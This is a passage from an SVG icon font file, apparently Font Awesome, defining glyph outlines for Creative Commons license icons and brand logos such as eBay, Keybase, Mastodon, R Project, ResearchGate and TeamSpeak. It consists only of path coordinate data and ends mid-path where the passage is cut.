    <glyph glyph-name="creative-commons-nc-eu" unicode="&#xf4e9;" horiz-adv-x="496" 
d="M247.7 440c140.7 0 248.3 -109 248.3 -248c0 -147.1 -118.1 -248 -248.3 -248c-136 0 -247.7 111.7 -247.7 248c0 131.2 103.6 248 247.7 248zM248.3 -10.7002c122.601 0 177.3 102.2 178.8 104.3l-128.3 56.8008h-90.2998
c9.2002 -39.3008 39.0996 -50.2002 67.2998 -50.2002c19.1006 0 38.6006 6.2002 47.2998 10.7998l10 -46.0996c-14.1992 -7.90039 -38.1992 -15.8008 -64.7998 -15.8008c-57.3994 0 -113.2 34.3008 -124.6 101.301h-27v29.5h22.7998
c0 16.2998 0.400391 13.2998 0.400391 19.5h-23.3008v29.5h4.7002l-65.7002 29.0996c-7.19922 -20.7998 -10.8994 -42.7998 -10.8994 -66c0 -110.2 91.5996 -202.7 203.6 -202.7zM231.6 179.9l-0.5 0.399414l0.900391 -0.399414h-0.400391zM308.8 199.4l136.101 -60.5
c4.19922 16.5996 6.2998 34.1992 6.2998 52.8994c0 113.2 -90 203.4 -203 203.4c-13 0 -106.101 3.2002 -170.7 -93.6006l81.5996 -36.0996c4.10059 7.2002 8.60059 14 13.9004 20.0996c23.7002 26.5 56.9004 42.3008 95.9004 42.3008
c25.2998 0 47.2998 -5.80078 62.2998 -12.4004l-11.6006 -47.2998c-10.7998 4.59961 -27.7998 10 -46.0996 10c-20 0 -38.2002 -6.60059 -51.0996 -22.4004c-3.40039 -3.7998 -6.30078 -8.7998 -8.80078 -14.2998l28.6006 -12.5996h70.2998v-29.5h-3.7002z" />
    <glyph glyph-name="creative-commons-nc-jp" unicode="&#xf4ea;" horiz-adv-x="496" 
d="M247.7 440c140.8 0 248.3 -109.2 248.3 -248c0 -147.2 -118.1 -248 -248.3 -248c-135.9 0 -247.7 111.6 -247.7 248c0 131.2 103.6 248 247.7 248zM248.3 -10.7002c118.101 0 173.7 96.1006 175.2 98.2998l-81 36.1006v-35.7002h-64.2002v-56h-61.7002v56h-63.7998
v38.7002h63.7998v18.7002l-5.69922 11.7998h-58.1006v38.5996h27.9004l-127 56.5c-6 -19.0996 -9 -39.2002 -9 -60.2998c0 -110.2 91.5996 -202.7 203.6 -202.7zM335.9 126.6l-54.7002 24.3008l-2.90039 -5.60059v-18.7002h57.6006zM342.4 178l101 -45.0996
c5.19922 18.3994 7.89941 38 7.89941 59c0 113.399 -90.2002 203.399 -203 203.399c-91.0996 0 -145.899 -54 -173.7 -98.0996l81.9004 -36.5l-27.2998 51h65.7998l39.5996 -85.7002l23 -10.2002l43.4004 96h65.7998l-63 -116h38.6006v-17.7998z" />
    <glyph glyph-name="creative-commons-nd" unicode="&#xf4eb;" horiz-adv-x="496" 
d="M247.6 440c141.801 0 248.4 -110.1 248.4 -248c0 -147.1 -118.5 -248 -248.4 -248c-134 0 -247.6 109.5 -247.6 248c0 132.9 104.7 248 247.6 248zM248.4 395.3c-118.2 0 -203.7 -97.8994 -203.7 -203.3c0 -109.8 91.2002 -202.8 203.7 -202.8
c103.199 0 202.8 81.0996 202.8 202.8c0.0996094 113.8 -90.2002 203.3 -202.8 203.3zM342.4 251v-42.5h-180.301v42.5h180.301zM342.4 171.2v-42.5h-180.301v42.5h180.301z" />
    <glyph glyph-name="creative-commons-pd" unicode="&#xf4ec;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111.1 248 -248c0 -137 -111 -248 -248 -248s-248 111 -248 248c0 136.9 111 248 248 248zM248 -9.5c76.0996 0 142.4 42.4004 176.7 104.8c-1.40039 0.299805 12.5 -5.7998 -217.9 96.7998c0.200195 -32 16.1006 -71.8994 53.9004 -71.8994
c18.7002 0 30.7998 10.3994 36.2998 16.7002l36.0996 -43.9004c-25.8994 -22.7998 -56.5 -29.5 -79.3994 -29.5c-46.5 0 -120.4 27.9004 -120.4 126.9c0 11.3994 1.2002 22.3994 3.2998 32.8994l-78.7998 35.1006c-45.5996 -129.9 51 -267.9 190.2 -267.9zM442.2 140.5
c0.200195 -0.200195 0.299805 -0.299805 0.599609 -0.400391c4.40039 16.6006 6.7998 34 6.7998 52c0 111.101 -90.3994 201.5 -201.5 201.5c-70.3994 0 -132.399 -36.2998 -168.5 -91.1992l74.9004 -33.4004c19.7998 31.0996 53.2998 51.5996 100.7 51.5996
c20.0996 0 51 -4.19922 78.0996 -27.5l-40.3994 -41.5996c-19.8008 19.7002 -55.9004 23 -74.7002 -11z" />
    <glyph glyph-name="creative-commons-pd-alt" unicode="&#xf4ed;" horiz-adv-x="496" 
d="M247.6 440c141.801 0 248.4 -110.1 248.4 -248c0 -147.1 -118.5 -248 -248.4 -248c-134 0 -247.6 109.5 -247.6 248c0 132.9 104.7 248 247.6 248zM248.4 -10.7998c103.199 0 202.8 81.0996 202.8 202.8c0.0996094 113.8 -90.2002 203.3 -202.8 203.3
c-118.2 0 -203.7 -97.8994 -203.7 -203.3c0 -109.8 91.2002 -202.8 203.7 -202.8zM316.7 262c21.3994 0 70 -5.2002 70 -68.5996c0 -63.5 -48.6006 -68.6006 -70 -68.6006h-53.2002v137.2h53.2002zM317.5 153.5c24 0 34.5 15.2998 34.5 39.9004
c0 42 -31.2002 39.8994 -35 39.8994l-19.4004 -0.0996094v-79.7002h19.9004zM203.7 262c33.7002 0 50.5 -15.5 50.5 -46.5c0 -9 -3 -46.5 -57.1006 -46.5h-27v-44.2998h-34.5996v137.3h68.2002zM198.8 194.7c27.9004 0 30 41.5996 -0.899414 41.5996h-28.3008v-41.5996
h29.2002z" />
    <glyph glyph-name="creative-commons-remix" unicode="&#xf4ee;" horiz-adv-x="496" 
d="M247.6 440c141.801 0 248.4 -110.1 248.4 -248c0 -147.1 -118.5 -248 -248.4 -248c-134 0 -247.6 109.5 -247.6 248c0 132.9 104.7 248 247.6 248zM248.4 395.3c-118.2 0 -203.7 -97.8994 -203.7 -203.3c0 -109.8 91.2002 -202.8 203.7 -202.8
c103.199 0 202.8 81.0996 202.8 202.8c0.0996094 113.8 -90.2002 203.3 -202.8 203.3zM410.1 187.6l4.90039 -2.19922v-70c-7.2002 -3.60059 -63.4004 -27.5 -67.2998 -28.8008c-6.5 1.80078 -113.7 46.8008 -137.3 56.2002l-64.2002 -26.5996l-63.2998 27.5v63.7998
l59.2998 24.7998c-0.700195 0.700195 -0.400391 -5 -0.400391 70.4004l67.2998 29.7002l151.9 -62.9004v-61.5996zM339.7 106.1v43.8008h-0.400391v1.7998l-113.8 46.5v-45.2002l113.8 -46.9004v0.400391zM347.2 163.7l39.8994 16.3994l-36.7998 15.5l-39 -16.3994z
M399.5 125.6v43l-44.2998 -18.5996v-43.4004z" />
    <glyph glyph-name="creative-commons-sa" unicode="&#xf4ef;" horiz-adv-x="496" 
d="M247.6 440c141.801 0 248.4 -110.1 248.4 -248c0 -147.1 -118.5 -248 -248.4 -248c-134 0 -247.6 109.5 -247.6 248c0 132.9 104.7 248 247.6 248zM248.4 395.3c-118.2 0 -203.7 -97.8994 -203.7 -203.3c0 -109.8 91.2002 -202.8 203.7 -202.8
c103.199 0 202.8 81.0996 202.8 202.8c0.0996094 113.8 -90.2002 203.3 -202.8 203.3zM137.7 227c13 83.9004 80.5 95.7002 108.899 95.7002c99.8008 0 127.5 -82.5 127.5 -134.2c0 -63.5996 -41 -132.9 -128.899 -132.9c-38.9004 0 -99.1006 20 -109.4 97h62.5
c1.5 -30.0996 19.6006 -45.1992 54.5 -45.1992c23.2998 0 58 18.1992 58 82.7998c0 82.5 -49.0996 80.5996 -56.7002 80.5996c-33.0996 0 -51.6992 -14.5996 -55.7998 -43.7998h18.2002l-49.2002 -49.2002l-49 49.2002h19.4004z" />
    <glyph glyph-name="creative-commons-sampling" unicode="&#xf4f0;" horiz-adv-x="496" 
d="M247.6 440c141.801 0 248.4 -110.1 248.4 -248c0 -147.1 -118.5 -248 -248.4 -248c-134 0 -247.6 109.5 -247.6 248c0 132.9 104.7 248 247.6 248zM248.4 395.3c-118.2 0 -203.7 -97.8994 -203.7 -203.3c0 -109.8 91.2002 -202.8 203.7 -202.8
c103.199 0 202.8 81.0996 202.8 202.8c0.0996094 113.8 -90.2002 203.3 -202.8 203.3zM252 342.1c2.7998 0.300781 11.5 -1 11.5 -11.5l6.59961 -107.199l4.90039 59.2998c0 6 4.7002 10.5996 10.5996 10.5996c5.90039 0 10.6006 -4.7002 10.6006 -10.5996
c0 -2.5 -0.5 5.7002 5.7002 -81.5l5.7998 64.2002c0.299805 2.89941 2.89941 9.2998 10.2002 9.2998c3.7998 0 9.89941 -2.2998 10.5996 -8.90039l11.5 -96.5l5.2998 12.7998c1.7998 4.40039 5.2002 6.60059 10.2002 6.60059h58v-21.2998h-50.9004l-18.1992 -44.3008
c-3.90039 -9.89941 -19.5 -9.09961 -20.8008 3.10059l-4 31.8994l-7.5 -92.5996c-0.299805 -3 -3 -9.2998 -10.1992 -9.2998c-3 0 -9.80078 2.09961 -10.6006 9.2998c0 1.90039 0.600586 -5.7998 -6.2002 77.9004l-5.2998 -72.2002
c-1.09961 -4.7998 -4.7998 -9.2998 -10.5996 -9.2998c-2.90039 0 -9.7998 2 -10.6006 9.2998c0 1.89941 0.5 -6.7002 -5.7998 87.7002l-5.7998 -94.8008c0 -6.2998 -3.59961 -12.3994 -10.5996 -12.3994c-5.2002 0 -10.6006 4.09961 -10.6006 12l-5.7998 87.7002
c-5.7998 -92.5 -5.2998 -84 -5.2998 -85.9004c-1.10059 -4.7998 -4.7998 -9.2998 -10.6006 -9.2998c-3 0 -9.7998 2.09961 -10.5996 9.2998c0 0.700195 -0.400391 1.09961 -0.400391 2.59961l-6.19922 88.6006l-4.90039 -56.7002
c-0.700195 -6.5 -6.7002 -9.2998 -10.5996 -9.2998c-5.80078 0 -9.60059 4.09961 -10.6006 8.89941l-11.0996 76.4004c-2 -4 -3.5 -8.40039 -11.1006 -8.40039h-51.3994v21.3008h44.7998l13.7002 27.8994c4.39941 9.90039 18.2002 7.2002 19.8994 -2.7002l3.10059 -20.3994
l8.39941 97.8994c0 6 4.80078 10.6006 10.6006 10.6006c0.5 0 10.5996 0.200195 10.5996 -12.4004l4.90039 -69.0996l6.59961 92.5996c0 10.1006 9.5 10.6006 10.2002 10.6006c0.599609 0 10.5996 -0.700195 10.5996 -10.6006l5.30078 -80.5996l6.19922 97.8994
c0.100586 1.10059 -0.599609 10.3008 9.90039 11.5z" />
    <glyph glyph-name="creative-commons-sampling-plus" unicode="&#xf4f1;" horiz-adv-x="496" 
d="M247.6 440c141.801 0 248.4 -110.1 248.4 -248c0 -147.1 -118.5 -248 -248.4 -248c-134 0 -247.6 109.5 -247.6 248c0 132.9 104.7 248 247.6 248zM248.4 395.3c-118.2 0 -203.7 -97.8994 -203.7 -203.3c0 -109.8 91.2002 -202.8 203.7 -202.8
c103.199 0 202.8 81.0996 202.8 202.8c0.0996094 113.8 -90.2002 203.3 -202.8 203.3zM355.4 189.7l58.3994 0.299805v-23.2002h-50.5l-18 -43.3994c-4.59961 -11 -20.8994 -8.7002 -22.2998 3.09961l-2.7002 22.2998l-6.7998 -83
c-1.09961 -14.0996 -22 -14.2002 -23.0996 0.100586l-4.90039 64.3994l-4.59961 -58.5996c-1.10059 -14.2998 -22.3008 -14.1006 -23.2002 0.200195l-4.5 71.7998l-4.90039 -80.5c-0.899414 -14.5 -22.2998 -14.5 -23.2002 -0.100586l-4.7998 73.3008l-4.59961 -70.4004
c-0.900391 -14.2998 -22.1006 -14.5 -23.2002 -0.0996094l-5.7002 78.2998l-3.7998 -43.6006c-1.2002 -13.6992 -21.0996 -14.1992 -23.0996 -0.699219l-10.7002 73.0996c-2 -3.90039 -6 -6.40039 -10.4004 -6.40039h-51.2998v23.2002h43.9004l13.1992 27.7002
c4.90039 10.2998 20.3008 8.09961 22 -3.2998l1.80078 -12.2002l7.69922 89.7998c1.2002 14.1006 22.1006 14.1006 23.2002 -0.200195l4.10059 -57l5.2998 80.2002c1 14.4004 22.2998 14.4004 23.2002 0l4.2998 -66.2998l5.09961 83.7002
c0.900391 14.3994 22.2998 14.5 23.2002 0l5.90039 -94.2998l3.5 44.8994c1.09961 14.2002 22.0996 14.2998 23.1992 0l5.2002 -68.7998l4.2998 51.4004c1.10059 13.7998 21.4004 14.2998 23.1006 0.399414l11 -92.7998l4 9.5c1.7002 4.40039 6 7.2002 10.7002 7.2002z
M277.4 184.5c4.09961 0 7.5 3.40039 7.5 7.5c0 4.2002 -3.40039 7.5 -7.5 7.5h-21.9004v21.9004c0 4.19922 -3.40039 7.5 -7.5 7.5s-7.5 -3.40039 -7.5 -7.5v-21.9004h-21.9004c-4.09961 0 -7.5 -3.40039 -7.5 -7.5c0 -4.2002 3.40039 -7.5 7.5 -7.5h21.9004v-21.9004
c0 -4.19922 3.40039 -7.5 7.5 -7.5c4.2002 0 7.5 3.40039 7.5 7.5v21.9004h21.9004z" />
    <glyph glyph-name="creative-commons-share" unicode="&#xf4f2;" horiz-adv-x="496" 
d="M247.6 440c141.801 0 248.4 -110.1 248.4 -248c0 -147.1 -118.5 -248 -248.4 -248c-134 0 -247.6 109.5 -247.6 248c0 132.9 104.7 248 247.6 248zM248.4 395.3c-118.2 0 -203.7 -97.8994 -203.7 -203.3c0 -109.8 91.2002 -202.8 203.7 -202.8
c103.199 0 202.8 81.0996 202.8 202.8c0.0996094 113.8 -90.2002 203.3 -202.8 203.3zM349.4 262.9c7.7998 0 13.6992 -6.10059 13.6992 -13.7002v-182.5c0 -7.7002 -6.09961 -13.7002 -13.6992 -13.7002h-135.101c-7.7002 0 -13.7002 6 -13.7002 13.7002v54h-54
c-7.7998 0 -13.6992 6 -13.6992 13.7002v182.5c0 8.19922 6.59961 12.6992 12.3994 13.6992h136.4c7.7002 0 13.7002 -6 13.7002 -13.6992v-54h54zM159.9 147.7h40.6992v101.399c0 7.40039 5.80078 12.6006 12 13.7002h55.8008v40.2998h-108.5v-155.399zM336.1 235.8h-108.5
v-155.399h108.5v155.399z" />
    <glyph glyph-name="creative-commons-zero" unicode="&#xf4f3;" horiz-adv-x="496" 
d="M247.6 440c141.801 0 248.4 -110.1 248.4 -248c0 -147.1 -118.5 -248 -248.4 -248c-134 0 -247.6 109.5 -247.6 248c0 132.9 104.7 248 247.6 248zM248.4 395.3c-118.2 0 -203.7 -97.8994 -203.7 -203.3c0 -109.8 91.2002 -202.8 203.7 -202.8
c103.199 0 202.8 81.0996 202.8 202.8c0.0996094 113.8 -90.2002 203.3 -202.8 203.3zM248 334.8c81.9004 0 102.5 -77.2998 102.5 -142.8s-20.5996 -142.8 -102.5 -142.8s-102.5 77.2998 -102.5 142.8s20.5996 142.8 102.5 142.8zM248 280.9
c-42.0996 0 -44.0996 -60.1006 -44.0996 -88.9004c0 -9.2998 0.199219 -21.7002 1.89941 -34.4004l54.5 100.2c5.7002 9.7998 2.7998 16.7998 -3.09961 21.9004c-2.7998 0.700195 -5.90039 1.2002 -9.2002 1.2002zM288.8 234.7l-60.8994 -105.2
c-12.5 -18.7002 6.59961 -26.4004 20.0996 -26.4004c42.0996 0 44.0996 60 44.0996 88.9004c0 11.2998 -0.399414 27.2998 -3.2998 42.7002z" />
    <glyph glyph-name="ebay" unicode="&#xf4f4;" horiz-adv-x="640" 
d="M606 258.5h34l-99.2002 -194.8h-35.8994l28.5 54.0996l-61.5 116.101c3.09961 -6.60059 4.7998 -14.5 4.7998 -23.8008v-65.5996c0 -9.2998 0.299805 -18.5996 1 -26.7998h-29.7998c-0.800781 6.89941 -1.10059 13.5996 -1.10059 20.2002
c-16.0996 -19.8008 -35.2998 -25.5 -61.8994 -25.5c-39.5 0 -60.6006 20.8994 -60.6006 45c0 3.19922 0.200195 6.19922 0.700195 9c-8.40039 -32.3008 -36.4004 -54.2002 -73.2998 -54.2002c-23.2998 0 -45.1006 8.2998 -58.7002 24.8994
c0 -6.59961 -0.400391 -13.1992 -1.09961 -19.5h-31.5c0.5 10.2002 1.09961 22.8008 1.09961 33.1006v169.5h32.0996v-80.6006c15.7002 18.7002 37.4004 24.2002 58.7002 24.2002c35.7002 0 75.4004 -24.0996 75.4004 -76.2002c0 -5.59961 -0.5 -11 -1.5 -16.1992
c7.09961 24.3994 34.2998 33.5 76.7002 34.3994c13.6992 0.299805 29 0.400391 41.6992 0.400391v3.39941c0 23.4004 -15 33 -41 33c-19.2998 0 -33.5996 -8 -35 -21.7998h-33.6992c3.59961 34.4004 39.6992 43.1006 71.5 43.1006c27.3994 0 51.7998 -7 63.2998 -26
l-10.9004 20.5996h37.5l54.9004 -109.9zM243.7 134.2c29.7998 0 50.2002 21.5 50.2002 53.7998c0 32.4004 -20.4004 53.7998 -50.2002 53.7998c-29.6006 0 -50.2002 -21.3994 -50.2002 -53.7998c0 -32.2998 20.5996 -53.7998 50.2002 -53.7998zM444.6 181.5v3.2998
c-11.7998 0 -26.2998 -0.0996094 -39.3994 -0.599609c-29.1006 -0.900391 -47.2002 -6.2002 -47.2002 -25.2998c0 -12.4004 9.90039 -25.8008 35 -25.8008c33.7002 0 51.5996 18.4004 51.5996 48.4004zM32.7002 179.9c3.5 -58.3008 79.2002 -57.4004 91.2002 -21.6006
h33.0996c-6.40039 -34.3994 -43 -46.0996 -74.4004 -46.0996c-57.1992 0 -82.5 31.5 -82.5 74c0 46.7998 26.2002 77.5996 83 77.5996c45.3008 0 78.4004 -23.7002 78.4004 -75.3994v-8.5h-128.8zM127.7 201.3c-2.2998 54.7002 -87.5 56.6006 -94.4004 0h94.4004z" />
    <glyph glyph-name="keybase" unicode="&#xf4f5;" 
d="M286.17 29c9.93652 0 18 -8.06445 18 -18s-8.06348 -18 -18 -18c-9.93555 0 -18 8.06445 -18 18s8.06445 18 18 18zM398.09 176.6c22.9102 -33.46 35.9102 -72.3398 35.9102 -110.92c0 -31.6797 -5 -60.6797 -14.5996 -86.2295
c-3.04004 -8.0498 -10.9502 -12.7197 -18.3701 -11.1504c-6.83984 1.24023 -11.1201 9.28027 -8.60059 15.7402c11.1904 28.71 14.8799 58.3398 14.8799 81.6396c-0.0517578 7.91797 -1.30566 20.6543 -2.7998 28.4307
c-0.649414 -1.06055 -1.12988 -2.2207 -1.84961 -3.2207c-17.29 -24.5293 -50.54 -33.8896 -84.7402 -23.8398c-78.8701 23.1699 -178.02 3.81055 -236.25 -38.5898l24.6602 74.1104l-46.8203 -59.8301c2.04297 -15.3486 9.10352 -39.1504 15.7598 -53.1299
c6.25 -13.1904 0.460938 -18.2402 -3.75 -20.1104c-4.76953 -2.12012 -13.8594 -2.7998 -19.6396 7.33008c-5.43652 9.81641 -11.96 26.6436 -14.5596 37.5596l-23.3203 -29.7998v33.6406c0 55.7695 0 125.109 62.6504 188.409c11.4258 11.5684 32.1631 27.4902 46.29 35.54
l-8.93066 0.540039c-27.8799 1.64062 -49.2402 24.8506 -47.6299 51.8506l2.36035 36.6797c0 -6.24023 0.139648 45.8799 50.75 45.8799c2.05957 0 -0.470703 0.120117 41.0596 -2.33008c2.31641 -0.15625 6.03027 -0.71582 8.29004 -1.25
c7.41992 11.3398 15.6504 22.8301 24.3398 34.8906l5.48047 7.55957l22.8994 -13.5195c-11.29 -24 -10 -33 -9.39941 -35c9.08008 0.229492 20 -1.6709 32.4102 -5.77051c29.6523 -9.84375 53.7188 -43.1914 53.7188 -74.4355
c0 -8.5127 -2.61621 -21.8154 -5.83887 -29.6943c6.18652 -2.13965 12.3135 -4.56348 18.3799 -7.27051c47.8896 -21.2598 77.7598 -59.0898 87.2598 -73.71zM142.37 319.42c1.55664 5.42773 4.69336 14.0156 7 19.1699l-29.1104 1.73047
c0.610352 -0.0507812 -12.2598 0.849609 -13.2598 -11.3203l-2.41016 -36.6602c-0.00585938 -0.143555 -0.0107422 -0.376953 -0.0107422 -0.520508c0 -6.50293 5.27344 -12 11.7705 -12.2695l22.3809 -1.33984c-0.380859 3.10645 -0.689453 8.16797 -0.689453 11.2969
c0 2.28809 0.165039 5.99414 0.369141 8.27344l-13.1299 0.779297l1.38965 21.79zM290.79 147.24c2.06152 1.58789 3.73438 4.9873 3.73438 7.58887c0 1.80273 -0.893555 4.42383 -1.99414 5.85059l-81.0898 96.3203c-1.71484 1.99023 -5.23828 3.60547 -7.86523 3.60547
c-1.99023 0 -4.87305 -1.00098 -6.43555 -2.23535c-2.05957 -1.58398 -3.73242 -4.97949 -3.73242 -7.57812c0 -1.7998 0.892578 -4.41699 1.99316 -5.8418c0.0898438 -0.140625 18.5996 -22.1406 18.5996 -22.1406l-16.9102 -13.29
c-1.59473 -1.22266 -2.88867 -3.8457 -2.88867 -5.85547c0 -1.37988 0.680664 -3.38867 1.51855 -4.48438c0.0800781 -0.109375 2.52246 -3.07324 3.7998 -4.5293c1.27832 -1.45703 3.8877 -2.63867 5.8252 -2.63867c1.4707 0 3.60547 0.734375 4.76562 1.63867
l17.0898 13.4492l14.1396 -16.7393l-34.5703 -27.1807c-1.58398 -1.22266 -2.86914 -3.83984 -2.86914 -5.84082c0 -1.38574 0.685547 -3.40039 1.5293 -4.49902l15.7803 -18.6396c1.33594 -1.55176 4.08203 -2.81055 6.12988 -2.81055
c1.54492 0 3.78516 0.775391 5 1.73047l34.4199 27l9.68066 -11.4902c1.7334 -1.98242 5.27832 -3.5918 7.91211 -3.5918c1.98438 0 4.86816 0.986328 6.4375 2.20215zM187.44 29c9.93555 0 18 -8.06445 18 -18s-8.06445 -18 -18 -18c-9.93652 0 -18 8.06445 -18 18
s8.06348 18 18 18z" />
    <glyph glyph-name="mastodon" unicode="&#xf4f6;" 
d="M433 268.89c0 0 0.799805 -71.6992 -9 -121.5c-6.23047 -31.5996 -55.1104 -66.1992 -111.23 -72.8994c-20.0996 -2.40039 -93.1191 -14.2002 -178.75 6.7002v-0.339844c0 -3.75977 0.40332 -9.83496 0.900391 -13.5605c6.62988 -49.5996 49.2197 -52.5996 89.6299 -54
c40.8105 -1.2998 77.1201 10.0996 77.1201 10.0996l1.7002 -36.8994s-28.5098 -15.2998 -79.3203 -18.1006c-28.0098 -1.59961 -62.8193 0.700195 -103.33 11.4004c-112.229 29.7002 -105.63 173.4 -105.63 289.1c0 97.2002 63.7197 125.7 63.7197 125.7
c61.9209 28.4004 227.96 28.7002 290.48 0c0 0 63.71 -28.5 63.71 -125.7zM357.88 143.69c0 122 5.29004 147.71 -18.4199 175.01c-25.71 28.7002 -79.7197 31 -103.83 -6.10059l-11.5996 -19.5l-11.6006 19.5c-24.0098 36.9004 -77.9297 35 -103.83 6.10059
c-23.6094 -27.1006 -18.4092 -52.9004 -18.4092 -175h46.7295v114.2c0 49.6992 64 51.5996 64 -6.90039v-62.5098h46.3301v62.5c0 58.5 64 56.5996 64 6.89941v-114.199h46.6299z" />
    <glyph glyph-name="r-project" unicode="&#xf4f7;" horiz-adv-x="581" 
d="M581 221.4c0 -54.8008 -33.9004 -104.301 -88.4004 -139.7l67.4004 -113.7h-112l-40.0996 75.4004c-21.8008 -6.5 -45.1006 -11.2002 -69.4004 -13.9004v-61.5h-99.0996v61.9004c-136.101 16.0996 -239.4 95.6992 -239.4 191.5c0 107.5 130.1 194.6 290.5 194.6
s290.5 -87.0996 290.5 -194.6zM114.2 206.9c0 -52.8008 51.0996 -98.4004 125.2 -119.9v208.3h199s90.5996 -1.59961 90.5996 -87.8994c0 -86.3008 -86.5996 -92.7002 -86.5996 -92.7002s17.5996 -5.2998 27.7998 -10.5c1.7002 -0.799805 4 -2.10059 6.39941 -3.7002
c43.8008 21.4004 70.3008 56.2998 70.3008 106.4c0 92.2998 -90 133 -211.9 133s-220.8 -59.5 -220.8 -133zM339.3 168.6c49.6006 0 87.7998 -8.19922 87.7998 28.3008c0 34.0996 -30 27.2998 -87.7998 27.2998v-55.6006zM338.4 96.0996v-22.0996
c17.5996 0.0996094 34.5 1 50.5996 2.90039c-5.09961 7.5 -13.2002 19.1992 -24 19.1992h-26.5996z" />
    <glyph glyph-name="researchgate" unicode="&#xf4f8;" 
d="M0 416h448v-448h-448v448zM262.2 81.5996v7.30078c-10 0 -20 6.89941 -27.2002 14.6992c-12.2002 13.3008 -28.5996 34.7002 -42.2002 58.9004c22.5 5.2998 39.2002 26.4004 39.2002 47.5c0 31.2002 -24.2002 45.5996 -55.9004 45.5996
c-17.7998 0 -45.0996 -1.59961 -70.8994 -0.599609v-8.09961c15.5996 -2.90039 22 -1.30078 22 -23.9004v-109.4c0 -22.5996 -6.5 -21 -22 -23.8994v-8.10059c7.5 0.200195 20.5 0.800781 33.5996 0.800781c12.5 0 28.7002 -0.5 35.6006 -0.800781v8.10059
c-19.8008 2.7002 -25.8008 0.399414 -25.8008 23.8994v46.4004c6.7002 -0.599609 12.5 -0.599609 21.4004 -0.599609c16.9004 -30.3008 33 -53 42.2002 -63.6006c16.7998 -20.2002 43.3994 -17.2002 50 -14.2002zM285.1 216.6c38.7002 0 34 29.4004 34 49.9004h-30.3994
v-10.7002h17.8994c0 -15.8994 -7.39941 -26.7998 -21.5 -26.7998c-11.2998 0 -17.8994 9.90039 -17.8994 23.2998v26.7998c0 12.4004 11.7998 19.7002 19.7002 19.7002c14.1992 0 19.6992 -12.5 19.6992 -12.5l10.7002 7.2002s-5.2002 17.9004 -30.3994 17.9004
c-25.2002 0 -34 -18.2002 -34 -30.4004v-32.2002c0 -16.5 8.89941 -32.2002 32.1992 -32.2002zM168.6 171.9c-9.39941 0 -13.5996 0.299805 -20 0.799805v69.7002c6.40039 0.599609 15 0.599609 22.5 0.599609c23.3008 0 37.2002 -12.2002 37.2002 -34.5
c0 -21.9004 -15 -36.5996 -39.7002 -36.5996z" />
    <glyph glyph-name="teamspeak" unicode="&#xf4f9;" horiz-adv-x="512" 
d="M244.2 101.21c-2.40039 -12.5 -10.6006 -20 -22.5 -24.2998c-9.2002 -3.2002 -50.1006 -1.60059 -61.7002 -1c-18 1.2998 -33.2002 8.5 -43.4004 24c-14.5 22.5 -19.5 47.7002 -14.5 73.8994c4.60059 24.5 24.6006 34.7002 46.3008 22.7002
c15.1992 -7.5 42.5 -27.3994 63.3994 -46.5996c20.4004 -18.7002 34.7998 -36.4004 32.4004 -48.7002zM449.2 80.4102c6.7002 -5.41016 11.2002 -22 11.5996 -32.1006c1 -50.3994 -23.8994 -68 -46.5996 -85.3994c-65.1006 -50 -295.101 -16.9004 -145.4 -6.40039
c127.4 9 164.101 96.1006 172.101 121.5c0.647461 1.99023 2.87109 3.60547 4.96387 3.60547c1.04102 0 2.53516 -0.540039 3.33594 -1.20508zM511.2 202.81c0 -17.1992 1.89941 -34.5996 -1 -51.6992c-4 -24.7002 -29.1006 -41.7002 -53.2002 -36.7002
c-7.2002 1.7002 -9.40039 7.2002 -9.40039 14.2002c0 28.0996 0.800781 56.3994 0 84.5996c-1.89941 75.79 -36.1992 132.79 -102.3 169.4c-111 60.3896 -253.2 -7 -277.8 -131.5c-6.09961 -30.4004 -1.7002 -48.3008 -3.7002 -125.801
c-0.299805 -7.19922 -4.2998 -11.1992 -12 -11.5c-30.7998 -1.39941 -51.7998 18.2002 -51.7998 49v20.9004l0.799805 26.4902c2.40039 15.5 10.7002 27 24.9004 34c3.5 1.7998 5.7002 3.5 6.39941 7.7998c6.10059 33.4102 19.5 64 39.3008 91.71
c2.2998 3.09961 4 5.2998 1 9.2998c-3.7002 5.40039 -1 10.2002 3 14.5c28.0996 31.7998 61.8994 55.1006 102 67.4004c96 29.4668 180.1 9.29688 252.3 -60.5098c6.7002 -6.40039 15.5 -12.9004 7 -24.4004c-1.2998 -1.7998 1.09961 -3.5 2.2002 -5
c17.2246 -23.209 35.3242 -65.1367 40.3994 -93.5898c0.900391 -3.7002 3 -5.10059 5.90039 -6.40039c17.3994 -8.7998 25.7002 -23.2998 26 -42.2002zM351.6 71.3096l-51.5996 7.7002c-22.7998 5.90039 -51 32.7002 22.2002 60.7998
c21.5996 8.5 85.7002 37.2002 87.7998 -8c0.900391 -32 -21.9004 -63.2998 -58.4004 -60.5z" />
    <glyph glyph-name="first-order-alt" unicode="&#xf50a;" horiz-adv-x="496" 
d="M248 440c136.97 0 248 -111.03 248 -248s-111.03 -248 -248 -248s-248 111.03 -248 248s111.03 248 248 248zM248 -48.21c132.66 0 240.21 107.55 240.21 240.21s-107.55 240.21 -240.21 240.21s-240.21 -107.55 -240.21 -240.21s107.55 -240.21 240.21 -240.21z
M248 411.71c121.34 0 219.71 -98.3701 219.71 -219.71s-98.3701 -219.71 -219.71 -219.71s-219.71 98.3701 -219.71 219.71s98.3701 219.71 219.71 219.71zM248 -19.5098c116.81 0 211.51 94.7002 211.51 211.51s-94.7002 211.51 -211.51 211.51
s-211.51 -94.6895 -211.51 -211.51s94.7002 -211.51 211.51 -211.51zM434.23 143.47c-3.69141 -14.209 -12.709 -36.0225 -20.1309 -48.6895l-74.1299 35.8799l61.4805 -54.8203c-8.85352 -11.7021 -25.5195 -28.4082 -37.2002 -37.29l-54.7998 61.5703l35.8799 -74.2705
c-12.6445 -7.45215 -34.4307 -16.5156 -48.6299 -20.2295l-27.29 78.4697l4.79004 -82.9297c-8.61035 -1.17969 -17.4004 -1.7998 -26.3301 -1.7998s-17.7197 0.620117 -26.3301 1.7998l4.75977 82.46l-27.1494 -78.0303c-14.2021 3.70996 -35.998 12.7588 -48.6504 20.2002
l35.9297 74.3398l-54.8701 -61.6396c-11.6836 8.87988 -28.3584 25.582 -37.2197 37.2793l61.5898 54.9004l-74.2598 -35.9297c-7.42383 12.667 -16.4463 34.4795 -20.1396 48.6895l77.8398 27.1104l-82.2305 -4.75977c-1.15918 8.56934 -1.7793 17.3193 -1.7793 26.21
